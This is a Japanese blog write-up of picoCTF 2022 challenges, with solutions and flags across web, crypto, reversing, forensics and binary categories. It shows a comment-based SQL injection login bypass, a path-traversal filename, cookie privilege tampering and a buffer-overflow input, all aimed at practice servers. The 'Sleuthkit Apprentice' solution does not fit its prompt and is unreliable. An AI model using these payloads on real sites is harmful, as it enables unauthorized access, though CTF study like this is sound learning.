0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

picoCTF2022 WriteUp

Last updated at Posted at 2022-04-01

概要

先日まで実施されていたpicoCTFに初参加してきました。
解けた問題を中心にWriteUpを(少しずつ)記載していきます。
感覚的には、初級~中級の問題が多かった印象がありました。

開催時期

15 3月, 17:00 UTC — 29 3月 2022, 20:00 UTC
の長期間で行われていました。
そのため、かなり時間の融通が利いたのでありがたかったです。
転職活動の傍らでも取り組めました。

なお、

で過去問として挑戦する事ができます。

結果

最終結果は、4500 ptsで2125 / 7794位でした。
WEB問題が残り2問で完答だったので、結構くやしいです・・・

環境

Windows + Kalilinux
プログラムはすべてPython3

Web Exploitation

Includes

Can you get the flag?
Go to this website and see what you can discover.

課題となる上記のサイトのscript.jsscript.cssのソースの最後に、それぞれフラグがコメントアウトで記載されていました。

InspectHTML

Can you get the flag?
Go to this website and see what you can discover.

上記サイトのHTMLのソースにフラグが直接書いてありました。

Local Authority

Can you get the flag?
Go to this website and see what you can discover.

とりあえず、上記の課題サイトのソースを眺めていると、http://saturn.picoctf.net:56469/secure.jsににグイン情報をPOSTしている。
ログイン処理が上記にあると踏んで、ソースを開いてみたら・・・・

function checkPassword(username, password)
{
  if( username === 'admin' && password === 'strongPassword098765' )
  {
    return true;
  }
  else
  {
    return false;
  }
}

とご丁寧に記載ありました。
picoCTF{j5_15_7r4n5p4r3n7_a8788e61}

Power Cookie

Can you get the flag?
Go to this website and see what you can discover.

上記の課題サイトにて、CookieのisAdminの値を0から1に変更するだけでした。
picoCTF{gr4d3_A_c00k13_0d351e23}

SQL Direct

Connect to this PostgreSQL server and find the flag!

psql -h saturn.picoctf.net -p 56962 -U postgres pico
Password is postgres

問題文の通り、PostgreSQLサーバーに接続してフラグを探しました。

psql -h saturn.picoctf.net -p 56962 -U postgres pico
(略)
select schemaname, tablename, tableowner from pg_tables;


     schemaname     |        tablename        | tableowner 
--------------------+-------------------------+------------
 public             | flags                   | postgres
 pg_catalog         | pg_statistic            | postgres
(略)
# select * from flags;
 id | firstname | lastname  |                address                 
----+-----------+-----------+----------------------------------------
  1 | Luke      | Skywalker | picoCTF{L3arN_S0m3_5qL_t0d4Y_21c94904}
  2 | Leia      | Organa    | Alderaan
  3 | Han       | Solo      | Corellia
(3 rows) 

参考

SQLiLite

Can you login to this website?

とりあえず、Username:admin Password:(空文字)でログインしてみると・・・
次の画面で親切にSQLの結果出てきました。

Username: admin
password: 
SQL query: SELECT * FROM users WHERE name='admin' AND password=''
Login failed.

ここから考えて、

  1. Username=admin';/*(space)
  2. password=(space)*/
    と考えられます。
    したがって、
username: admin';/* 
password:  */
SQL query: SELECT * FROM users WHERE name='admin';/* ' AND password=' */'
Logged in! But can you see the flag, it is in plainsight.

フラグはログイン成功した画面にhiddenで隠されていました。
picoCTF{L00k5_l1k3_y0u_solv3d_it_ec8a64c7}

Live Art

There's nothing quite as fun as drawing for an audience. So sign up for LiveArt today and show the world what you can do.
Site: Live Art
Bundle: here

Hint
The flag will be the admin's username/broadcast link, at the origin http://localhost:4000/

課題の各種ファイル等
https://html.spec.whatwg.org/multipage/custom-elements.html
http://saturn.picoctf.net:49245/
https://artifacts.picoctf.net/c/339/bundle.tar.gz

こちらはWEB問題で解けなかった問題です。
TODO 復習要

noted

メモを取ることができる素敵なウェブアプリを作りました。ベストプラクティスに従ったので、間違いなく安全でしょう?
レポート」機能で使用するヘッドレスブラウザは、インターネットにアクセスできないことに注意してください。
このサイトでアカウントを作成してください。

こちらはWEB問題で解けなかった問題その2です。
TODO 復習要

なんとなくプロトタイプ汚染をする問題な気がしたけど、解答までたどり着けませんでした・・・・

参考

Search source

The developer of this website mistakenly left an important artifact in the website source, can you find it?
The website is here

Hint
How could you mirror the website on your local machine so you could use more powerful tools for searching?

恐らく一番唸りまくってた問題。
すごく単純に、/css/style.cssにフラグが書いてありました。
style_cssふフラグが書いてあった.jpg

Forbidden Paths

Can you get the flag?
Here's the website.
We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?

上記の問題文のサイトにて、Burpで通信を確認してみるとPOSTパラメータで読み込むファイル名を設定してい事が分かました。
問題文から推測して、POSTパラメータをfilename=../../../../../flag.txtに設定してフラグを入手しました。
picoCTF{7h3_p47h_70_5ucc355_e5fe3d4d}

Roboto Sans

The flag is somewhere on this web application not necessarily on the website. Find it.
Check this out.

タイトル推察して/robots.txtの存在を確認してみたところ、Base64で暗号化されたフラグが見付かりました。
以下は/robots.txtの内容です。

User-agent *
Disallow: /cgi-bin/
Think you have seen your flag or want to keep looking.

ZmxhZzEudHh0;anMvbXlmaW
anMvbXlmaWxlLnR4dA==
svssshjweuiwl;oiho.bsvdaslejg
Disallow: /wp-admin/

デコード結果のjs/myfile.txtにアクセスした所、フラグが記載されていました。
01.jpg

picoCTF{Who_D03sN7_L1k5_90B0T5_032f1c2b}

Secrets

We have several pages hidden. Can you find the one with the flag?
The website is running here.

Hint
folders folders folders

とりあえず、まずはクローリングがてら色々いじってみました。

画像などが表示されているページと同じ階層を開いてみると・・・

Finally. You almost found me. you are doing well
訳:ついに。あなたはほとんど私を見つけました。あなたは良くやっている
I have noiea what I'm doing, but I know I'm doing it really, really well.
訳:自分が何をやっているのかわからないが、本当によくやっていることはわかる。

ぐぬぬぬ・・・・!
同様の操作を/secret/hidden/配下でも実施してみると・・・

Finally. You found me. But can you see me
訳:やっとこさ 私を見つけたんですね。しかし、あなたは私を見ることができますか

このページフラグがありました。
picoCTF{succ3ss_@h3n1c@10n_790d2615}

Cryptography

basic-mod1

Description
We found this weird message being passed around on the servers, we think we have a working decrpytion scheme.
Download the message here.
Take each number mod 37 and map it to the following character set: 0-25 is the alphabet (uppercase), 26-35 are the decimal digits, and 36 is an underscore.
Wrap your decrypted message in the picoCTF flag format (i.e. picoCTF{decrypted_message})

Hint
1
Do you know what mod 37 means?

2
mod 37 means modulo 37. It gives the remainder of a number after being divided by 37.

問題文に記載されている通り、以下の方針で復号用のコードを作成しました。

  1. 暗号文をmod37で計算する
  2. 1.を問題文に記載されているフォーマットに対応させる
message.txt
91 322 57 124 40 406 272 147 239 285 353 272 77 110 296 262 299 323 255 337 150 102 
Decryption.py
#!/usr/bin/env python
# coding: utf-8

messege = [91,322,57,124,40,406,272,147,239,285,353,272,77,110,296,262,299,323,255,337,150,102]
res_mod_str = []

after_k_v = {'0':'A','1':'B','2':'C','3':'D','4':'E','5':'F','6':'G','7':'H','8':'I','9':'J','10':'K','11':'L','12':'M','13':'N','14':'O','15':'P','16':'Q','17':'R','18':'S','19':'T','20':'U','21':'V','22':'W','23':'X','24':'Y','25':'Z','26':'0','27':'1','28':'2','29':'3','30':'4','31':'5','32':'6','33':'7','34':'8','35':'9','36':'_'}

for mes in messege:
  res_mod_str.append((mes) % 37)

print(res_mod_str)

for res_mod in res_mod_str:
  print(after_k_v[str(res_mod)], end='')

print('')

picoCTF{R0UND_N_R0UND_ADD17EC2}

basic-mod2

A new modular challenge!
Download the message here.
Take each number mod 41 and find the modular inverse for the result. Then map to the following character set: 1-26 are the alphabet, 27-36 are the decimal digits, and 37 is an underscore.
Wrap your decrypted message in the picoCTF flag format (i.e. picoCTF{decrypted_message})

Hint
1
Do you know what the modular inverse is?
2
The inverse modulo z of x is the number, y that when multiplied by x is 1 modulo z
3
It's recommended to use a tool to find the modular inverses

全問と似た問題。
モジュラ逆数を求めて、問題文のフォーマットに対応させるように復号用のコードを作成しました。

message.txt
104 290 356 313 262 337 354 229 146 297 118 373 221 359 338 321 288 79 214 277 131 190 377 
Description.py
#!/usr/bin/env python
# coding: utf-8

messege = [104,290,356,313,262,337,354,229,146,297,118,373,221,359,338,321,288,79,214,277,131,190,377]

res_mod_str = []
res_mod_inverse_str = []
len_res_mod_inverse_str = 0
res_str = []

after_k_v = {'1':'A','2':'B','3':'C','4':'D','5':'E','6':'F','7':'G','8':'H','9':'I','10':'J','11':'K','12':'L','13':'M','14':'N','15':'O','16':'P','17':'Q','18':'R','19':'S','20':'T','21':'U','22':'V','23':'W','24':'X','25':'Y','26':'Z','27':'0','28':'1','29':'2','30':'3','31':'4','32':'5','33':'6','34':'7','35':'8','36':'9','37':'_'}

# Mod 41 & moduler inverse:pow(a, -1, m)
for mes in messege:
  res_mod_str.append((mes) % 41)
  res_mod_inverse_str.append(pow(mes, -1, 41))

print(res_mod_inverse_str)
len_res_mod_inverse_str = len(res_mod_inverse_str)
print('List Length =' + str(len_res_mod_inverse_str))

for i, res_mod_inverse in enumerate(res_mod_inverse_str):
  res_str.append(after_k_v[str(res_mod_inverse)])
  if i == len_res_mod_inverse_str:
    break

print('INVERSE = ', end='')
print(res_mod_inverse_str)

print('RESULT = ', end='')
print(res_str)

print('picoCTF{', end='')
print(''.join(res_str), end='')
print('}')

参考

credstuff

Description
We found a leak of a blackmarket website's login credentials. Can you find the password of the user cultiris and successfully decrypt it?
Download the leak here.
The first user in usernames.txt corresponds to the first password in passwords.txt. The second user corresponds to the second password, and so on.

問題文から推察して、username.txtpassword.txtcultiris:378行目に対応するパスワードはpassword.txtの378行目のcvpbPGS{P7e1S_54I35_71Z3}

これはパッと見で単純なROT13でした。CyberCheffなどでROT13で復号して、フラグを入手できました。
picoCTF{C7r1F_54V35_71M3}

morse-code

Description
Morse code is well known. Can you decrypt this?
Download the file here.
Wrap your answer with picoCTF{}, put underscores in place of pauses, and use all lowercase.

Hint
Audacity is a really good program to analyze morse code audio.

TODO 要復習
Cryptで解けなかった問題その1。
特に何の変哲もないファイルのようで、ファイルの埋め込みなどは無い模様。
Audacityで成分分析したけど、それ以上は手付かず・・・

Vigenere

Description
Can you decrypt this message?
Decrypt this message using this key "CYLAB".
cipher.txt
rgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_2951c89f}

問題文の通り、単純なヴィジュネル暗号でした。
Cybercheffに暗号文を、ヴィジュネル暗号キー:CYLAB にして復号するだけでした。

picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_2951a89h}

Reverse Engineering

全体的に解けていない問題が多かったです・・・

Bbbbloat

TODO 要復習
解けませんでした・・・

bloat.py

Description
Can you get the flag?
Run this Python program in the same directory as this encrypted flag.

bloat.flag.pyをprintデバグしたら、「happychance」がarg133関数の条件分岐の最初の比較文字列条件となる文字列だと分かりました。
コードを読むと、arg133関数の条件分岐さえ突破できればフラグが入手できるようなので、「happychance」を入力して実行する事でフラグを入手できました。

printデバグ抜粋
Please enter correct password for flag: 123
That password is incorrect
========arg432===DEBUG==================
arg432 ==  123
========arg432=TRUE CONDITION ==DEBUG==================
happychance
========arg432=FALSE  MESSAGE==DEBUG==================
That password is incorrect
=======arg432 END====DEBUG==================
# python3 Debug-bloat.flag.py 
Please enter correct password for flag: happychance
Welcome back... your flag, user:
picoCTF{d30bfu5c4710n_f7w_5e14b257}

picoCTF{d30bfu5c4710n_f7w_5e14b257}

file-run1

Description
A program has been provided to you, what happens if you try to run it on the command line?
Download the program here.

配布されたELFファイルを実行するだけでした。
picoCTF{U51N6_Y0Ur_F1r57_F113_47cf2b7b}

file-run2

Description
Another program, but this time, it seems to want some input. What happens if you try to run it on the command line with input "Hello!"?
Download the program here.

Hint
Try running it and add the phrase "Hello!" with a space in front (i.e. "./run Hello!")

問題文の通り、コマンドライン引数を追加してプログラムを実行するだけでした。

The flag is: picoCTF{F1r57_4rgum3n7_f65ed63e}

Fresh Java

Description
Can you get the flag?
Reverse engineer this Java program.

JD-GUIを使ったら一瞬でした。
classファイルをデコンパイルするの久しぶり過ぎて、完全に存在を忘れてました・・・

picoCTF{700l1ng_r3qu1r3d_2bfe1a0d}

GDB Test Drive

Description
Can you get the flag?
Download this binary.
Here's the test drive instructions:
 $ chmod +x gdbme
 $ gdb gdbme
 (gdb) layout asm
 (gdb) break *(main+99)
 (gdb) run
 (gdb) jump *(main+104)

GDBのチュートリアル。
問題文の通りに動作させればフラグを入手できました。
picoCTF{d3bugg3r_dr1v3_7776d758}

patchme.py

Description
Can you get the flag?
Run this Python program in the same directory as this encrypted flag.

ソースに思いっきりパスワード書いてあって草

patchme.flag.pyの抜粋
    if( user_pw == "ak98" + \
                   "-=90" + \
                   "adfjhgj321" + \
                   "sleuth9000"):

よって、入力する文字列はak98-=90adfjhgj321sleuth9000となります。

# python3 patchme.flag.py 
Please enter correct password for flag: ak98-=90adfjhgj321sleuth9000
Welcome back... your flag, user:

Forensics

Eavesdrop

TODO 要復習
制限時間内に解けませんでした・・・

Enhance

Download this image file and find the flag.

xxdでバイナリを見てみたら、svgファイルの各idの間にフラグ文字列がちりばめられてたいました。

Screenshot_2022-03-19_01-52-49.png

picoCTF{3nh4nc3d_d0a757bf}

File types

This file was found among some files marked confidential but my pdf reader cannot read it, maybe yours can.
You can download the file from here.

TODO 要復習
こちらも、時間内に解けませんでした・・・
多重に圧縮されており、圧縮の形式も様々でしたが・・・5回目辺りで心が折れてしまいました・・・・

Lookey here

Attackers have hidden information in a very large mass of data in the past, maybe they are still doing it.
Download the data here.

Hint
Download the file and search for the flag based on the known prefix.

grepしたらフラグがありました。

# grep pico anthem.flag.txt 
  we think that the men of picoCTF{gr3p_15_@w3s0m3_2116b979}

Operation Orchid

TODO 要復習

Packets Primer

Download the packet capture file and use packet analysis software to find the flag.
Download packet capture

Hint
Wireshark, if you can install and use it, is probably the most beginner friendly packet analysis software product.

Wiresharkで対象のpcapファイルを開くと、No.04の通信にDataにフラグが記載されているのを発見しました。

0000   08 00 27 93 ce 73 08 00 27 af 39 9f 08 00 45 00   ..'..s..'.9...E.
0010   00 70 50 c2 40 00 40 06 d1 b3 0a 00 02 0f 0a 00   .pP.@.@.........
0020   02 04 be 6e 23 28 27 ec d4 b7 bd 26 99 bc 80 18   ...n#('....&....
0030   01 f6 18 75 00 00 01 01 08 0a 8d cf e9 65 68 f0   ...u.........eh.
0040   f1 c3 70 20 69 20 63 20 6f 20 43 20 54 20 46 20   ..p i c o C T F 
0050   7b 20 70 20 34 20 63 20 6b 20 33 20 37 20 5f 20   { p 4 c k 3 7 _ 
0060   35 20 68 20 34 20 72 20 6b 20 5f 20 30 20 31 20   5 h 4 r k _ 0 1 
0070   62 20 30 20 61 20 30 20 64 20 36 20 7d 0a         b 0 a 0 d 6 }.

picoCTF{p4ck37_5h4rk_01b0a0d6}

Redaction gone wrong

Now you DON’T see me.
This report has some critical data in it, some of which have been redacted correctly, 
while some were not. Can you find an important key that was not redacted properly?

Hint
How can you be sure of the redaction?

ファイルを開くと、重要そうな所が黒塗りにされていました。
とりあえずLibrreWordで開いてみましたが、ただの画像として認識されたので特に収穫はありませんでした。
PDFビューアーで開いてみても黒塗り部分を移動する事はできませんでしたが、
黒塗りの文字そのものは選択できるようなので、試しに選択してコピペしたらフラグをゲットできました。
コピーした後の文章は以下の通りです。

Financial Report for ABC Labs, Kigali, Rwanda for the year 2021. 
Breakdown - Just painted over in MS word. 
 
Cost Benefit Analysis
Credit Debit
This is not the flag, keep looking
Expenses from the 
picoCTF{C4n_Y0u_S33_m3_fully}
Redacted document

Sleuthkit Apprentice

Download this disk image and find the flag.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
Download compressed disk image

コードを読むと、入力した文字列:encodedkeyのBase64でエンコードした文字列がcGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYzと一致していれば成功のようです。
また、この文字列自体がフラグ文字列と思われます。
したがって、cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYzをBase64でデコードした pl3as3_l3t_m3_1nt0_th3_saf3がフラグ文字列となります。

picoCTF{pl3as3_l3t_m3_1nt0_th3_saf3}

Sleuthkit Intro

Download the disk image and use mmls on it to find the size of the Linux partition. Connect to the remote checker service to check your answer and get the flag.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
Download disk image
Access checker program: nc saturn.picoctf.net 52279

問題文で指定されている先にncで接続した所、配布されたディスクのLinuxのパーティションサイズを回答するだけでした。
問題文の記載の通り、mmlsを実行すればすぐに終わります。

# mmls disk.img 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000204799   0000202752   Linux (0x83)

Intro/disk.img# nc saturn.picoctf.net 52279
What is the size of the Linux partition in the given disk image?
Length in sectors: 202752
202752
Great work!
picoCTF{mm15_f7w!}

St3g0

'''
Download this image and find the flag.
Download image

Hint
We know the end sequence of the message will be $t3g0.
'''

TODO 要復習

Binary Exploitation

basic-file-exploit

The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it!
Connect to the program with netcat:
$ nc saturn.picoctf.net 52682
The program's source code with the flag redacted can be downloaded here.

Hint
Try passing in things the program doesn't expect. Like a string instead of a number.

配布されたコードを読むんでみると、入力したデータの値にstrl関数を適応し、結果が0であればフラグを表示する模様です。

該当処理抜粋
()
  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }
()

よって、適当に文字列でも入れてみます。

# nc saturn.picoctf.net 52682
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
g
g
Please enter the length of your data:
g
g
Please put in a valid length
Please enter the length of your data:
g
g
Please put in a valid length
Please enter the length of your data:
1
1
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
g
g
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_038A9E95}

buffer overflow 0

Smash the stack
Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. And connect with it using:
nc saturn.picoctf.net 51110

Hist
How can you trigger the flag to print?
If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting.
Run man gets and read the BUGS section. How many characters can the program really read?

配布されたソースより、以下の記述を発見しました。

配布ソース抜粋
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler

・・()
  char buf1[100];
  gets(buf1); 
・・()

SIGSEGV:メモリへの不正アクセス時にハンドラ動かす。
sigsegv_handler:フラグを表示する処理

よって以上より、標準入力が宣言時のサイズより多ければ求めている処理が見れるので以下のように入力してフラグを入手しました。

# nc saturn.picoctf.net 51110
Input: 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
picoCTF{ov3rfl0ws_ar3nt_that_bad_8ba275ff}

buffer overflow 1

CVE-XXXX-XXXX

Enter the CVE of the vulnerability as the flag with the correct flag format:
picoCTF{CVE-XXXX-XXXXX} replacing XXXX-XXXXX with the numbers for the matching vulnerability.
The CVE we're looking for is the first recorded remote code execution (RCE) vulnerability in 2021 in the Windows Print Spooler Service, which is available across desktop and server versions of Windows operating systems. The service is used to manage printers and print servers.

Hint
We're not looking for the Local Spooler vulnerability in 2021...

「Windows プリントスプーラー CVE 2021 RCE」でググるだけでした。

picoCTF{CVE-2021-34527}

参考

RPS

Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row.
Connect to the program with netcat:
$ nc saturn.picoctf.net 56981
The program's source code with the flag redacted can be downloaded here.

Hint
How does the program check if you won?

TODO 要復習
未着手でした。
自動化する処理を書くだけ?

所感

他の方々のWriteUp

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?